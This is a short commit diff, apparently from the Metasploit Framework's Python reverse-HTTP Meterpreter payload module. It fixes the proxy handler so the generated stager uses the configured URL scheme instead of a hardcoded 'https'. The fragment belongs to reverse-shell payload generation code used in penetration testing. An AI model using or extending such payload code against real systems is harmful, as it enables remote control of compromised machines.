Fix the scheme for the pymet ProxyHandler
parent
6483eca00a
commit
388edd3207
|
@ -99,7 +99,7 @@ module Payload::Python::ReverseHttp
|
||||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||||
"http://#{proxy_host}:#{proxy_port}"
|
"http://#{proxy_host}:#{proxy_port}"
|
||||||
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
cmd << "o=ul.build_opener(*hs)\n"
|
cmd << "o=ul.build_opener(*hs)\n"
|
||||||
|
|
Loading…
Reference in New Issue